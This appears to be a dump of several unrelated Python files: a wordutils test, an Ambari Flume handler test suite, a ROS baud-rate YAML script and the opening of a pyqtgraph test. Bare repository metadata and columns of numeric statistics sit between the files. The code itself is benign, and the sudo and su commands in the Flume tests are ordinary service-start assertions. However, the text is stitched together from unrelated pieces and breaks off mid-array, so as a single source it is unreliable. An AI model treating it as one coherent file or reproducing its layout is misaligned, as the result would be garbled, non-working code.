|
[
"MIT"
] | null | null | null |
tests/test_utils.py
|
Mapkin/wordutils
|
029e3a2254a8ba273dc735749ef1dafc45fea67a
|
[
"MIT"
] | null | null | null |
tests/test_utils.py
|
Mapkin/wordutils
|
029e3a2254a8ba273dc735749ef1dafc45fea67a
|
[
"MIT"
] | null | null | null |
from wordutils.utils import split_num
def test_split():
assert split_num(1234, 2) == [12, 34]
assert split_num(123, 2) == [1, 23]
assert split_num(123, 4) == [123]
assert split_num(1234567, 4) == [123, 4567]
| 28.125
| 47
| 0.64
| 36
| 225
| 3.833333
| 0.527778
| 0.289855
| 0.405797
| 0.246377
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.212291
| 0.204444
| 225
| 7
| 48
| 32.142857
| 0.558659
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.666667
| 1
| 0.166667
| true
| 0
| 0.166667
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
813264a6ae320ffd09ccf7f214b06d0b44c00546
| 25,417
|
py
|
Python
|
ambari-server/src/test/python/stacks/2.0.6/FLUME/test_flume.py
|
zyclove/ambari
|
1032f0f54cb7b312b9a3b37570cd840f4e1e89d4
|
[
"Apache-2.0"
] | null | null | null |
ambari-server/src/test/python/stacks/2.0.6/FLUME/test_flume.py
|
zyclove/ambari
|
1032f0f54cb7b312b9a3b37570cd840f4e1e89d4
|
[
"Apache-2.0"
] | null | null | null |
ambari-server/src/test/python/stacks/2.0.6/FLUME/test_flume.py
|
zyclove/ambari
|
1032f0f54cb7b312b9a3b37570cd840f4e1e89d4
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python2
'''
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
from mock.mock import MagicMock, call, patch
from stacks.utils.RMFTestCase import *
import resource_management.core.source
import os
class TestFlumeHandler(RMFTestCase):
COMMON_SERVICES_PACKAGE_DIR = "FLUME/1.4.0.2.0/package"
STACK_VERSION = "2.0.6"
CONFIG_OVERRIDES = {"serviceName":"FLUME", "role":"FLUME_HANDLER"}
def test_configure_default(self):
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "configure",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assert_configure_default()
self.assertNoMoreResources()
@patch("os.path.isfile")
@patch("flume.cmd_target_names")
@patch("flume._set_desired_state")
def test_start_default(self, set_desired_mock, cmd_target_names_mock, os_path_isfile_mock):
# 1st call is to check if the conf file is there - that should be True
# 2nd call is to check if the process is live - that should be False
os_path_isfile_mock.side_effect = [True, False]
cmd_target_names_mock.return_value = ["a1"]
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "start",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assert_configure_default()
self.assertTrue(set_desired_mock.called)
self.assertTrue(set_desired_mock.call_args[0][0] == 'STARTED')
self.assertResourceCalled('Execute', "ambari-sudo.sh su flume -l -s /bin/bash -c 'export PATH=/bin JAVA_HOME=/usr/jdk64/jdk1.7.0_45 ; /usr/bin/flume-ng agent --name a1 --conf /etc/flume/conf/a1 --conf-file /etc/flume/conf/a1/flume.conf -Dflume.monitoring.type=org.apache.hadoop.metrics2.sink.flume.FlumeTimelineMetricsSink -Dflume.monitoring.node=c6402.ambari.apache.org:6189 > /var/log/flume/a1.out 2>&1' &",
environment = {'JAVA_HOME': u'/usr/jdk64/jdk1.7.0_45'},
wait_for_finish = False,
)
self.assertResourceCalled('Execute', "ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E pgrep -o -u flume -f '^/usr/jdk64/jdk1.7.0_45.*a1.*' | ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E tee /var/run/flume/a1.pid && test ${PIPESTATUS[0]} -eq 0",
logoutput = True,
tries = 20,
try_sleep = 10,
)
self.assertNoMoreResources()
@patch("os.path.isfile")
@patch("flume.cmd_target_names")
@patch("flume._set_desired_state")
def test_start_flume_only(self, set_desired_mock, cmd_target_names_mock, os_path_isfile_mock):
# 1st call is to check if the conf file is there - that should be True
# 2nd call is to check if the process is live - that should be False
os_path_isfile_mock.side_effect = [True, False]
cmd_target_names_mock.return_value = ["a1"]
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "start",
config_file="flume_only.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assert_configure_default(check_mc=False)
self.assertTrue(set_desired_mock.called)
self.assertTrue(set_desired_mock.call_args[0][0] == 'STARTED')
self.assertResourceCalled('Execute', "ambari-sudo.sh su flume -l -s /bin/bash -c 'export PATH=/bin JAVA_HOME=/usr/jdk64/jdk1.7.0_45 ; /usr/bin/flume-ng agent --name a1 --conf /etc/flume/conf/a1 --conf-file /etc/flume/conf/a1/flume.conf > /var/log/flume/a1.out 2>&1' &",
environment = {'JAVA_HOME': u'/usr/jdk64/jdk1.7.0_45'},
wait_for_finish = False,
)
self.assertResourceCalled('Execute', "ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E pgrep -o -u flume -f '^/usr/jdk64/jdk1.7.0_45.*a1.*' | ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E tee /var/run/flume/a1.pid && test ${PIPESTATUS[0]} -eq 0",
logoutput = True,
tries = 20,
try_sleep = 10,
)
self.assertNoMoreResources()
@patch("glob.glob")
@patch("flume._set_desired_state")
@patch("flume.await_flume_process_termination")
def test_stop_default(self, await_flume_process_termination_mock, set_desired_mock, glob_mock):
glob_mock.side_effect = [['/var/run/flume/a1/pid'], ['/etc/flume/conf/a1/ambari-meta.json']]
await_flume_process_termination_mock.return_value = True
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "stop",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertTrue(glob_mock.called)
await_flume_process_termination_mock.assert_called_with('/var/run/flume/a1.pid', try_count=10)
self.assertTrue(set_desired_mock.called)
self.assertTrue(set_desired_mock.call_args[0][0] == 'INSTALLED')
self.assertResourceCalled('File', '/var/run/flume/a1.pid', action = ['delete'])
self.assertNoMoreResources()
@patch("resource_management.libraries.script.Script.put_structured_out")
@patch("sys.exit")
def test_status_default(self, sys_exit_mock, structured_out_mock):
try:
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "status",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
except:
# expected since ComponentIsNotRunning gets raised
pass
# test that the method was called with empty processes
self.assertTrue(structured_out_mock.called)
structured_out_mock.assert_called_with({'processes': []})
self.assertNoMoreResources()
def test_struct_out(self):
from resource_management.libraries.script import Script
configs_path = os.path.join(RMFTestCase.get_src_folder(),
"test/python/stacks", self.STACK_VERSION, "configs")
script = Script()
script.stroutfile = os.path.join(configs_path, "structured-out-status.json")
script.load_structured_out()
self.assertFalse("version" in script.structuredOut)
def test_bad_struct_out(self):
from resource_management.libraries.script import Script
from resource_management.core.logger import Logger
configs_path = os.path.join(RMFTestCase.get_src_folder(),
"test/python/stacks", self.STACK_VERSION, "configs")
Logger.initialize_logger()
script = Script()
script.stroutfile = os.path.join(configs_path, "structured-out-status-bad.json")
script.load_structured_out()
self.assertTrue(script.structuredOut == {})
@patch("resource_management.libraries.script.Script.put_structured_out")
@patch("glob.glob")
@patch("sys.exit")
def test_status_with_result(self, sys_exit_mock, glob_mock, structured_out_mock):
glob_mock.return_value = ['/etc/flume/conf/a1/ambari-meta.json']
try:
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "status",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
except:
# expected since ComponentIsNotRunning gets raised
pass
self.assertTrue(structured_out_mock.called)
# call_args[0] is a tuple, whose first element is the actual call argument
struct_out = structured_out_mock.call_args[0][0]
self.assertTrue(struct_out.has_key('processes'))
self.assertNoMoreResources()
@patch("resource_management.libraries.script.Script.put_structured_out")
@patch("glob.glob")
@patch("sys.exit")
def test_status_no_agents(self, sys_exit_mock, glob_mock, structured_out_mock):
glob_mock.return_value = []
try:
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "status",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
except:
# expected since ComponentIsNotRunning gets raised
pass
self.assertTrue(structured_out_mock.called)
# call_args[0] is a tuple, whose first element is the actual call argument
struct_out = structured_out_mock.call_args[0][0]
self.assertTrue(struct_out.has_key('processes'))
self.assertNoMoreResources()
def assert_configure_default(self, check_mc=True):
self.assertResourceCalled('Directory', '/var/run/flume',
owner = 'flume',
group = 'hadoop')
self.assertResourceCalled('Directory',
'/etc/flume/conf',
owner='flume',
create_parents = True)
self.assertResourceCalled('Directory',
'/var/log/flume',
owner = 'flume',
group = 'hadoop',
create_parents = True,
cd_access = 'a',
mode=0755
)
self.assertResourceCalled('Directory',
'/etc/flume/conf/a1',
owner='flume')
self.assertResourceCalled('PropertiesFile',
'/etc/flume/conf/a1/flume.conf',
owner='flume',
mode = 0644,
properties = build_flume(
self.getConfig()['configurations']['flume-conf']['content'])['a1'])
self.assertResourceCalled('File',
'/etc/flume/conf/a1/log4j.properties',
content = InlineTemplate(self.getConfig()['configurations']['flume-log4j']['content'],agent_name='a1'),
owner='flume',
mode = 0644)
self.assertResourceCalled('File',
'/etc/flume/conf/a1/ambari-meta.json',
owner='flume',
content='{"channels_count": 1, "sinks_count": 1, "sources_count": 1}',
mode = 0644)
self.assertResourceCalled('File', "/etc/flume/conf/a1/flume-env.sh",
owner="flume",
content=InlineTemplate(self.getConfig()['configurations']['flume-env']['content'])
)
if check_mc:
self.assertResourceCalled('File', "/etc/flume/conf/a1/flume-metrics2.properties",
owner="flume",
content=Template("flume-metrics2.properties.j2")
)
def assert_configure_many(self):
self.assertResourceCalled('Directory',
'/var/run/flume',
owner='flume',
group = 'hadoop'
)
self.assertResourceCalled('Directory',
'/etc/flume/conf',
owner='flume',
create_parents = True)
self.assertResourceCalled('Directory',
'/var/log/flume',
owner = 'flume',
group = 'hadoop',
create_parents = True,
cd_access = 'a',
mode=0755)
top = build_flume(self.getConfig()['configurations']['flume-conf']['content'])
# a1
self.assertResourceCalled('Directory',
'/etc/flume/conf/a1',
owner='flume')
self.assertResourceCalled('PropertiesFile',
'/etc/flume/conf/a1/flume.conf',
owner='flume',
mode = 0644,
properties = top['a1'])
self.assertResourceCalled('File',
'/etc/flume/conf/a1/log4j.properties',
owner='flume',
content = InlineTemplate(self.getConfig()['configurations']['flume-log4j']['content'],agent_name='a1'),
mode = 0644)
self.assertResourceCalled('File',
'/etc/flume/conf/a1/ambari-meta.json',
owner='flume',
content='{"channels_count": 1, "sinks_count": 1, "sources_count": 1}',
mode = 0644)
self.assertResourceCalled('File', "/etc/flume/conf/a1/flume-env.sh",
owner="flume",
content=InlineTemplate(self.getConfig()['configurations']['flume-env']['content'])
)
# b1
self.assertResourceCalled('Directory',
'/etc/flume/conf/b1',
owner='flume')
self.assertResourceCalled('PropertiesFile', '/etc/flume/conf/b1/flume.conf',
mode = 0644,
owner='flume',
properties = top['b1'])
self.assertResourceCalled('File',
'/etc/flume/conf/b1/log4j.properties',
owner='flume',
content = InlineTemplate(self.getConfig()['configurations']['flume-log4j']['content'],agent_name='b1'),
mode = 0644)
self.assertResourceCalled('File',
'/etc/flume/conf/b1/ambari-meta.json',
owner='flume',
content='{"channels_count": 1, "sinks_count": 1, "sources_count": 1}',
mode = 0644)
self.assertResourceCalled('File', "/etc/flume/conf/b1/flume-env.sh",
owner="flume",
content=InlineTemplate(self.getConfig()['configurations']['flume-env']['content'])
)
@patch("os.path.isfile")
def test_start_single(self, os_path_isfile_mock):
# 1st call is to check if the conf file is there - that should be True
# 2nd call is to check if the process is live - that should be False
os_path_isfile_mock.side_effect = [True, False]
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "start",
config_file="flume_target.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assert_configure_many()
self.assertResourceCalled('Execute', format('su -s /bin/bash flume -c "export JAVA_HOME=/usr/jdk64/jdk1.7.0_45; /usr/bin/flume-ng agent '
'--name b1 '
'--conf /etc/flume/conf/b1 '
'--conf-file /etc/flume/conf/b1/flume.conf '
'-Dflume.monitoring.type=ganglia '
'-Dflume.monitoring.hosts=c6401.ambari.apache.org:8655"'),
wait_for_finish = False)
self.assertResourceCalled('Execute', 'pgrep -o -u flume -f ^/usr/jdk64/jdk1.7.0_45.*b1.* > /var/run/flume/b1.pid',
logoutput = True,
tries = 10,
try_sleep = 6)
self.assertNoMoreResources()
@patch("os.path.isfile")
def test_start_single(self, os_path_isfile_mock):
# 1st call is to check if the conf file is there - that should be True
# 2nd call is to check if the process is live - that should be False
os_path_isfile_mock.side_effect = [True, False]
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "start",
config_file="flume_target.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assert_configure_many()
self.assertResourceCalled('Execute', "ambari-sudo.sh su flume -l -s /bin/bash -c 'export PATH=/bin JAVA_HOME=/usr/jdk64/jdk1.7.0_45 ; /usr/bin/flume-ng agent --name b1 --conf /etc/flume/conf/b1 --conf-file /etc/flume/conf/b1/flume.conf -Dflume.monitoring.type=ganglia -Dflume.monitoring.hosts=c6401.ambari.apache.org:8655 > /var/log/flume/b1.out 2>&1' &",
environment = {'JAVA_HOME': u'/usr/jdk64/jdk1.7.0_45'},
wait_for_finish = False,
)
self.assertResourceCalled('Execute', "ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E pgrep -o -u flume -f '^/usr/jdk64/jdk1.7.0_45.*b1.*' | ambari-sudo.sh [RMF_ENV_PLACEHOLDER] -H -E tee /var/run/flume/b1.pid && test ${PIPESTATUS[0]} -eq 0",
logoutput = True,
tries = 20,
try_sleep = 10,
)
self.assertNoMoreResources()
@patch("glob.glob")
@patch("flume.await_flume_process_termination")
def test_stop_single(self, await_flume_process_termination_mock, glob_mock):
glob_mock.return_value = ['/var/run/flume/b1.pid']
await_flume_process_termination_mock.return_value = True
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "stop",
config_file="flume_target.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertTrue(glob_mock.called)
await_flume_process_termination_mock.assert_called_with('/var/run/flume/b1.pid', try_count=10)
self.assertResourceCalled('File', '/var/run/flume/b1.pid', action = ['delete'])
self.assertNoMoreResources()
@patch("flume.find_expected_agent_names")
def test_configure_with_existing(self, expected_names_mock):
expected_names_mock.return_value = ["x1"]
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "configure",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertResourceCalled('File', '/etc/flume/conf/x1/ambari-meta.json',
action = ['delete'],
)
self.assert_configure_default()
self.assertNoMoreResources()
def test_flume_env_not_22(self):
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "configure",
config_file="default.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertResourceCalled('Directory', '/var/run/flume',
group = 'hadoop',
owner='flume',)
self.assertResourceCalled('Directory',
'/etc/flume/conf',
owner='flume',
create_parents = True)
self.assertResourceCalled('Directory',
'/var/log/flume',
owner = 'flume',
cd_access = 'a',
group = 'hadoop',
create_parents = True,
mode=0755)
self.assertResourceCalled('Directory',
'/etc/flume/conf/a1',
owner='flume')
self.assertResourceCalled('PropertiesFile',
'/etc/flume/conf/a1/flume.conf',
owner='flume',
mode = 0644,
properties = build_flume(
self.getConfig()['configurations']['flume-conf']['content'])['a1'])
self.assertResourceCalled('File',
'/etc/flume/conf/a1/log4j.properties',
owner='flume',
content = InlineTemplate(self.getConfig()['configurations']['flume-log4j']['content'],agent_name='a1'),
mode = 0644)
self.assertResourceCalled('File',
'/etc/flume/conf/a1/ambari-meta.json',
owner='flume',
content='{"channels_count": 1, "sinks_count": 1, "sources_count": 1}',
mode = 0644)
content = InlineTemplate(self.getConfig()['configurations']['flume-env']['content'])
self.assertTrue(content.get_content().find('/usr/lib/hive') > -1)
self.assertResourceCalled('File', "/etc/flume/conf/a1/flume-env.sh",
owner="flume",
content=content)
def test_flume_env_with_22(self):
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "configure",
config_file="flume_22.json",
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertResourceCalled('Directory', '/var/run/flume',
group = 'hadoop',
owner='flume')
self.assertResourceCalled('Directory',
'/usr/hdp/current/flume-server/conf',
owner='flume',
create_parents = True)
self.assertResourceCalled('Directory',
'/var/log/flume',
owner = 'flume',
group = 'hadoop',
create_parents = True,
cd_access = 'a',
mode=0755)
self.assertResourceCalled('Directory',
'/usr/hdp/current/flume-server/conf/a1',
owner='flume')
self.assertResourceCalled('PropertiesFile',
'/usr/hdp/current/flume-server/conf/a1/flume.conf',
owner='flume',
mode = 0644,
properties = build_flume(
self.getConfig()['configurations']['flume-conf']['content'])['a1'])
self.assertResourceCalled('File',
'/usr/hdp/current/flume-server/conf/a1/log4j.properties',
content = InlineTemplate(self.getConfig()['configurations']['flume-log4j']['content'],agent_name='a1'),
owner='flume',
mode = 0644)
self.assertResourceCalled('File',
'/usr/hdp/current/flume-server/conf/a1/ambari-meta.json',
content='{"channels_count": 1, "sinks_count": 1, "sources_count": 1}',
owner='flume',
mode = 0644)
content = InlineTemplate(self.getConfig()['configurations']['flume-env']['content'])
self.assertTrue(content.get_content().find('/usr/hdp/current/hive-metastore') > -1)
self.assertResourceCalled('File',
"/usr/hdp/current/flume-server/conf/a1/flume-env.sh",
owner="flume",
content=content)
def test_pre_upgrade_restart(self):
self.executeScript(self.COMMON_SERVICES_PACKAGE_DIR + "/scripts/flume_handler.py",
classname = "FlumeHandler",
command = "pre_upgrade_restart",
config_file="flume_22.json",
config_overrides = self.CONFIG_OVERRIDES,
stack_version = self.STACK_VERSION,
target = RMFTestCase.TARGET_COMMON_SERVICES)
self.assertResourceCalled("Execute", ('ambari-python-wrap', '/usr/bin/hdp-select', 'set', 'flume-server', '2.2.1.0-2067'), sudo=True)
def build_flume(content):
result = {}
agent_names = []
for line in content.split('\n'):
rline = line.strip()
if 0 != len(rline) and not rline.startswith('#'):
pair = rline.split('=')
lhs = pair[0].strip()
rhs = pair[1].strip()
part0 = lhs.split('.')[0]
if lhs.endswith(".sources"):
agent_names.append(part0)
if not result.has_key(part0):
result[part0] = {}
result[part0][lhs] = rhs
# trim out non-agents
for k in result.keys():
if not k in agent_names:
del result[k]
return result
| 42.361667
| 414
| 0.592871
| 2,754
| 25,417
| 5.294481
| 0.118373
| 0.082299
| 0.028805
| 0.021123
| 0.841575
| 0.825115
| 0.792401
| 0.77889
| 0.769906
| 0.756738
| 0
| 0.020423
| 0.287209
| 25,417
| 599
| 415
| 42.432387
| 0.784401
| 0.036708
| 0
| 0.732739
| 0
| 0.017817
| 0.26638
| 0.125722
| 0
| 0
| 0
| 0
| 0.198218
| 0
| null | null | 0.006682
| 0.01559
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d4a740020f81c8b5ec54d467f09a5bdad4445c5c
| 860
|
py
|
Python
|
ros_ws/src/kubot_bringup/scripts/set_baud.py
|
kubot080301/kubot2_ros
|
0075fb485c1ab17089032cea43982f1cc0c1d1e7
|
[
"Apache-2.0"
] | null | null | null |
ros_ws/src/kubot_bringup/scripts/set_baud.py
|
kubot080301/kubot2_ros
|
0075fb485c1ab17089032cea43982f1cc0c1d1e7
|
[
"Apache-2.0"
] | null | null | null |
ros_ws/src/kubot_bringup/scripts/set_baud.py
|
kubot080301/kubot2_ros
|
0075fb485c1ab17089032cea43982f1cc0c1d1e7
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
import yaml
import sys
import os
local_path=os.path.dirname(__file__)
if (len(sys.argv) != 2):
print 'please specify buad'
sys.exit()
f = open(local_path+'/../params/base_params.yaml')
params = yaml.load(f)
params['buadrate']=int(sys.argv[1])
f.close()
f = open(local_path+'/../params/base_params.yaml', "w")
yaml.dump(params, f)
f.close()
f = open(local_path+'/../params/base_params_with_imu.yaml')
params = yaml.load(f)
params['buadrate']=int(sys.argv[1])
f.close()
f = open(local_path+'/../params/base_params_with_imu.yaml', "w")
yaml.dump(params, f)
f.close()
f = open(local_path+'/../params/base_params_without_odom.yaml')
params = yaml.load(f)
params['buadrate']=int(sys.argv[1])
f.close()
f = open(local_path+'/../params/base_params_without_odom.yaml', "w")
yaml.dump(params, f)
f.close()
| 23.243243
| 70
| 0.673256
| 140
| 860
| 3.957143
| 0.257143
| 0.113718
| 0.108303
| 0.151625
| 0.801444
| 0.801444
| 0.801444
| 0.801444
| 0.707581
| 0.707581
| 0
| 0.005298
| 0.122093
| 860
| 36
| 71
| 23.888889
| 0.728477
| 0.023256
| 0
| 0.535714
| 0
| 0
| 0.300358
| 0.24553
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.107143
| null | null | 0.035714
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d4b5d8897f5899b6ffb904e6e2c7dfa6aa4d84a6
| 237,506
|
py
|
Python
|
pyqtgraph/tests/test_makeARGB.py
|
miketrumpis/pyqtgraph
|
ec4d613037330d2dd59ff395f72052992a7e63e8
|
[
"MIT"
] | null | null | null |
pyqtgraph/tests/test_makeARGB.py
|
miketrumpis/pyqtgraph
|
ec4d613037330d2dd59ff395f72052992a7e63e8
|
[
"MIT"
] | null | null | null |
pyqtgraph/tests/test_makeARGB.py
|
miketrumpis/pyqtgraph
|
ec4d613037330d2dd59ff395f72052992a7e63e8
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
import numpy as np
import pytest
import sys
from typing import Dict, Any, Union, Type
from pyqtgraph import getCupy, setConfigOption
from pyqtgraph.functions import makeARGB as real_makeARGB
IN_2D_INT8 = np.array([[173, 48, 122, 41], [210, 192, 0, 5], [104, 56, 102, 115], [78, 19, 255, 6]], dtype=np.uint8)
IN_RGB_INT8 = np.array(
[
[[16, 69, 62], [66, 132, 135], [220, 80, 36], [53, 34, 68]],
[[140, 23, 113], [0, 63, 206], [96, 255, 100], [226, 182, 155]],
[[28, 237, 223], [215, 232, 209], [17, 16, 50], [96, 187, 93]],
[[220, 193, 232], [134, 168, 150], [55, 64, 221], [96, 108, 227]],
],
dtype=np.uint8,
)
IN_RGBA_INT8 = np.array(
[
[[151, 252, 73, 107], [28, 221, 35, 0], [87, 122, 126, 114], [47, 59, 24, 200]],
[[189, 246, 242, 255], [123, 255, 29, 14], [201, 208, 133, 32], [118, 203, 141, 245]],
[[133, 131, 248, 81], [4, 84, 99, 40], [40, 167, 119, 150], [13, 158, 108, 21]],
[[156, 221, 166, 250], [77, 188, 13, 166], [0, 1, 185, 25], [83, 35, 103, 120]],
],
dtype=np.uint8,
)
IN_2D_INT16 = np.array(
[
[13364, 55041, 40746, 40937],
[57612, 34247, 34132, 0],
[10109, 56950, 41856, 21479],
[14881, 65535, 48079, 11372],
],
dtype=np.uint16,
)
IN_RGB_INT16 = np.array(
[
[[55626, 45263, 0], [19468, 39208, 36391], [33255, 8664, 56991], [37588, 31212, 38295]],
[[58933, 16402, 36905], [9928, 23928, 12418], [16461, 47738, 18189], [17004, 39307, 59941]],
[[43717, 49573, 9843], [35967, 3891, 39618], [53542, 58151, 29112], [53667, 4092, 35267]],
[[15957, 21648, 45238], [65535, 47107, 52049], [6342, 34547, 19902], [43386, 37301, 35095]],
],
dtype=np.uint16,
)
IN_RGBA_INT16 = np.array(
[
[
[13060, 40847, 29621, 46719],
[0, 36509, 33525, 56649],
[48328, 23093, 47186, 26801],
[57336, 12247, 30996, 11691],
],
[
[4863, 41121, 32045, 25250],
[27779, 65098, 59921, 47771],
[8906, 18280, 5066, 48587],
[65535, 25758, 27250, 17284],
],
[
[52005, 65535, 40746, 65535],
[33, 57630, 27750, 42371],
[50176, 35079, 19220, 63662],
[17702, 5506, 36216, 48303],
],
[
[61592, 27692, 37436, 7249],
[54653, 39986, 58441, 12819],
[20887, 56588, 32440, 85],
[13457, 14661, 58972, 48779],
],
],
dtype=np.uint16,
)
IN_2D_FLOAT = np.array(
[
[np.inf, 0.53662884, np.nan, 0.8853132],
[0.8496698, 0.88006145, 1.0, 0.06621328],
[0.99158293, 0.8476984, 0.16672458, 0.9887786],
[0.07076367, 0.66354364, 0.8781082, 0.988832],
],
dtype=np.float32,
)
IN_RGB_FLOAT = np.array(
[
[
[0.23317624, 0.39086635, 0.12795302],
[0.40659714, 0.9079258, 0.28431135],
[0.91651599, 0.46082205, 0.16928465],
[0.29368765, 0.97987488, 0.72257988],
],
[
[np.nan, 0.72908475, 0.54018012],
[0.91277435, 0.2842577, 0.73481915],
[0.33844504, 0.22060913, 0.9802894],
[0.13995676, 0.34752838, 0.39652277],
],
[
[0.85315026, 0.19330797, 0.0],
[0.48584232, 0.04943356, 0.59906953],
[np.inf, 0.32614581, 0.1483722],
[0.37340863, 0.35432855, 0.08973532],
],
[
[0.69666134, 0.52481322, 0.49057305],
[0.93366339, 0.1428689, 0.6845513],
[0.27681383, 0.69472673, 0.06750892],
[0.26349886, 0.25841691, 0.86171104],
],
]
)
IN_RGBA_FLOAT = np.array(
[
[
[0.97383172, 0.62680971, 0.02285016, np.nan],
[0.85295433, 0.93014834, 0.59482999, np.inf],
[0.4017482, 0.79809183, 0.22407464, 0.17327807],
[0.95953263, 0.69535086, 0.28846483, 0.76970823],
],
[
[0.11487603, 0.7447609, 0.06767498, 0.98054729],
[0.66071068, 0.73931366, 0.33155686, 0.81827122],
[0.78035892, 0.52920802, 0.5671388, 0.31783899],
[0.81709002, 0.82204682, 0.82584029, 0.49434749],
],
[
[0.03142089, 0.8322058, 0.31646922, 0.94636969],
[0.62381573, 0.60052138, 0.50244611, 0.92886007],
[np.nan, np.nan, 0.02940048, 0.52529675],
[0.9786162, 0.54928697, 0.2409731, 0.34705397],
],
[
[0.68922233, np.inf, 0.85027734, 0.35388624],
[0.16489042, 0.29860162, 0.09349833, 0.67714667],
[0.25351483, 0.25596098, 0.80461891, 0.99952403],
[0.0, 1.0, 0.58084746, 0.46211944],
],
]
)
INPUTS: Dict[Any, np.ndarray] = {
(np.uint8, "2D"): IN_2D_INT8,
(np.uint8, "RGB"): IN_RGB_INT8,
(np.uint8, "RGBA"): IN_RGBA_INT8,
(np.uint16, "2D"): IN_2D_INT16,
(np.uint16, "RGB"): IN_RGB_INT16,
(np.uint16, "RGBA"): IN_RGBA_INT16,
(np.float32, "2D"): IN_2D_FLOAT,
(np.float32, "RGB"): IN_RGB_FLOAT,
(np.float32, "RGBA"): IN_RGBA_FLOAT,
}
LUT8 = np.zeros((255,), dtype=np.uint8)
LUT8[::2] = 255
LUT16 = np.zeros((65535,), dtype=np.uint8)
LUT16[::3] = 255
LUTS: Dict[Any, np.ndarray] = {
np.uint8: LUT8,
np.uint16: LUT16,
}
LEVELS = {
"SIMPLE": (0, 1),
"RGB": ((0, 255), (1, 250), (100, 160)),
"RGBA": ((255, 11111), (100, 10000), (0, 255), (127, 255)),
}
EXPECTED_OUTPUTS: Dict[tuple, Union[Type[Exception], np.ndarray]] = {
(np.uint8, "2D", None, None, None, True): np.array(
[
